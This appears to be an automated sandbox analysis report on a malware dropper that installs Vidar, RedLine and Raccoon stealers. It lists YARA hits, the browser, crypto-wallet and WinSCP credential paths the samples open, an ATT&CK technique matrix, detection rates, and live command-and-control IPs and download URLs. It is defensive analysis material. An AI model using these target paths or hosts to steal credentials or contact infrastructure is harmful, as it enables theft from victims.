Source: Yara match	File source: 00000010.00000003.378009822.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.372650762.0000000000767000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.370169416.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.372736978.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F0geI.exe PID: 7880, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: real.exe PID: 4664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: brokerius.exe PID: 5400, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: F0geI.exe, 00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wlts_electrum:Electrum;26;Electrum\wallets;*;-
Source: F0geI.exe, 00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wlts_elecbch:ElectronCash;26;ElectronCash\wallets;*;-
Source: F0geI.exe, 00000010.00000003.500317649.000000000081D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets\*+
Source: F0geI.exe, 00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;;cache*
Source: real.exe, 00000015.00000002.884342830.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: real.exe, 00000015.00000002.884342830.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: F0geI.exe, 00000010.00000002.515123098.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\exodus\*L
Source: real.exe, 00000015.00000002.884342830.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: real.exe, 00000015.00000002.884342830.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: real.exe, 00000015.00000002.884342830.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: brokerius.exe, 0000001B.00000002.854152661.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: real.exe, 00000015.00000002.884342830.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Ethereum\\
Source: em1B8DcC72.exe	String found in binary or memory: Exodus Web3 Wallet
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: real.exe, 00000015.00000002.884342830.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default_wallet
Source: real.exe, 00000015.00000002.884789669.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: real.exe, 00000015.00000002.884342830.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\MultiDoge\\
Source: real.exe, 00000015.00000002.866252226.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\????*
Source: real.exe, 00000015.00000002.884342830.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: real.exe, 00000015.00000002.884342830.0000000001150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: F0geI.exe, 00000010.00000003.500317649.000000000081D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Crypto Currency Wallets

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\????
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\????
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\????
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\????
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\????
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\????
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\????
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\????
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Program Files (x86)\Company\NewProduct\real.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Source: Yara match	File source: 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.854152661.000000000122A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.848648835.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: namdoitntn.exe PID: 644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: real.exe PID: 4664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: safert44.exe PID: 6504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jshainx.exe PID: 6960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: brokerius.exe PID: 5400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ffnameedit.exe PID: 2416, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 19.0.namdoitntn.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.em1B8DcC72.exe.2a6ae14.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.ffnameedit.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.jshainx.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000000.374306011.0000000000472000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000000.387215652.00000000007F3000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.411195133.0000000000A13000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: namdoitntn.exe PID: 644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: safert44.exe PID: 6504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jshainx.exe PID: 6960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ffnameedit.exe PID: 2416, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe, type: DROPPED

Yara detected CryptOne packer

Source: Yara match

File source: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Raccoon Stealer v2

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 16.3.F0geI.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.F0geI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.kukurzka9000.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.kukurzka9000.exe.2540174.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.F0geI.exe.590e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.F0geI.exe.590e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.kukurzka9000.exe.2540174.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.F0geI.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.kukurzka9000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.5a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.19.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.378009822.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.372650762.0000000000767000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.370169416.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.372736978.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F0geI.exe PID: 7880, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: real.exe PID: 4664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: brokerius.exe PID: 5400, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	15 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	111 Deobfuscate/Decode Files or Information	1 Input Capture	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	131 Obfuscated Files or Information	1 Credentials in Registry	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 PowerShell	Logon Script (Mac)	Logon Script (Mac)	32 Software Packing	NTDS	154 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	5 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	321 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	116 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	3 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Rundll32	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	1 Remote System Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
em1B8DcC72.exe	60%	Virustotal		Browse
em1B8DcC72.exe	56%	ReversingLabs	Win32.Trojan.Whispergate
em1B8DcC72.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	100%	Avira	HEUR/AGEN.1251247
C:\Program Files (x86)\Company\NewProduct\safert44.exe	100%	Avira	HEUR/AGEN.1203016
C:\Program Files (x86)\Company\NewProduct\EU1.exe	100%	Avira	HEUR/AGEN.1250598
C:\Program Files (x86)\Company\NewProduct\brokerius.exe	100%	Avira	HEUR/AGEN.1250598
C:\Program Files (x86)\Company\NewProduct\real.exe	100%	Avira	HEUR/AGEN.1210243
C:\Program Files (x86)\Company\NewProduct\jshainx.exe	100%	Avira	HEUR/AGEN.1251247
C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	100%	Avira	HEUR/AGEN.1251247
C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Company\NewProduct\safert44.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Company\NewProduct\EU1.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Company\NewProduct\brokerius.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Company\NewProduct\real.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Company\NewProduct\F0geI.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Company\NewProduct\jshainx.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Company\NewProduct\EU1.exe	41%	ReversingLabs	Win32.Infostealer.Convagent
C:\Program Files (x86)\Company\NewProduct\F0geI.exe	64%	Metadefender		Browse
C:\Program Files (x86)\Company\NewProduct\F0geI.exe	96%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Program Files (x86)\Company\NewProduct\brokerius.exe	42%	ReversingLabs	Win32.Infostealer.Convagent
C:\Program Files (x86)\Company\NewProduct\captain09876.exe	37%	Metadefender		Browse
C:\Program Files (x86)\Company\NewProduct\captain09876.exe	38%	ReversingLabs	ByteCode-MSIL.Downloader.Seraph
C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	100%	ReversingLabs	ByteCode-MSIL.Trojan.RedLineStealer
C:\Program Files (x86)\Company\NewProduct\jshainx.exe	46%	Metadefender		Browse
C:\Program Files (x86)\Company\NewProduct\jshainx.exe	100%	ReversingLabs	ByteCode-MSIL.Trojan.RedLineStealer
C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	44%	ReversingLabs	Win32.Trojan.RaccoonSteal
C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.RedLineStealer
C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Program Files (x86)\Company\NewProduct\real.exe	73%	ReversingLabs	Win32.Infostealer.Convagent
C:\Program Files (x86)\Company\NewProduct\safert44.exe	80%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
C:\Users\user\AppData\LocalLow\freebl3.dll	0%	Metadefender		Browse
C:\Users\user\AppData\LocalLow\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\mozglue.dll	0%	Metadefender		Browse
C:\Users\user\AppData\LocalLow\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\msvcp140.dll	0%	Metadefender		Browse
C:\Users\user\AppData\LocalLow\msvcp140.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
27.2.brokerius.exe.8f0000.0.unpack	100%	Avira	HEUR/AGEN.1250598	Download File
32.2.EU1.exe.1200000.0.unpack	100%	Avira	HEUR/AGEN.1250598	Download File
19.0.namdoitntn.exe.470000.0.unpack	100%	Avira	HEUR/AGEN.1251247	Download File
21.2.real.exe.1030000.0.unpack	100%	Avira	HEUR/AGEN.1250598	Download File
16.2.F0geI.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.3.em1B8DcC72.exe.2a85a14.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.brokerius.exe.8f0000.0.unpack	100%	Avira	HEUR/AGEN.1250598	Download File
32.0.EU1.exe.1200000.0.unpack	100%	Avira	HEUR/AGEN.1250598	Download File
23.0.safert44.exe.c30000.0.unpack	100%	Avira	HEUR/AGEN.1203016	Download File
31.0.ffnameedit.exe.a00000.0.unpack	100%	Avira	HEUR/AGEN.1234957	Download File
18.2.kukurzka9000.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.0.jshainx.exe.7e0000.0.unpack	100%	Avira	HEUR/AGEN.1234957	Download File
21.0.real.exe.1030000.0.unpack	100%	Avira	HEUR/AGEN.1210243	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://135.181.104.248:80/7810405426.zip	0%	Avira URL Cloud	safe
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea2317?	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15V	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea23177	0%	Avira URL Cloud	safe
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea23172	0%	Avira URL Cloud	safe
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea2317d	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea2317Q	0%	Avira URL Cloud	safe
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea2317T	0%	Avira URL Cloud	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://62.204.41.126:80	100%	Avira URL Cloud	malware
http://135.181.104.248/7810405426.zip	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
https://cutt.ly	0%	Avira URL Cloud	safe
http://135.181.104.248/1571	100%	Avira URL Cloud	malware
https://mas.to/	0%	URL Reputation	safe
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea2317	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cutt.ly	104.22.1.232	true	false	high
accounts.google.com	142.250.180.141	true	false	high
t.me	149.154.167.99	true	false	high
cdn.discordapp.com	162.159.129.233	true	false	high
iplogger.org	148.251.234.83	true	false	high
www.google.com	142.251.209.4	true	false	high
clients.l.google.com	142.251.209.46	true	false	high
insttaller.com	185.191.229.101	true	false	high
dns.google	8.8.8.8	true	false	high
clients2.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://iplogger.org/1AJmX4	false		high
https://iplogger.org/1AFmX4	false		high
https://iplogger.org/1AZmX4	false		high
https://iplogger.org/favicon.ico	false		high
http://135.181.104.248/7810405426.zip	false	Avira URL Cloud: safe	unknown
https://iplogger.org/1AEmX4	false		high
http://135.181.104.248/1571	true	Avira URL Cloud: malware	unknown
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea2317	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	F0geI.exe, 00000010.00000003.450878255.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.934759170.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.937747351.00000000031A3000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.929045080.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.931287871.0000000002CF2000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.932599013.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, 31448762808696279021307573.21.dr	false		high
https://iplogger.org/1AVmX41AVmX4	64957933493888110483826916.21.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	31448762808696279021307573.21.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL	jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
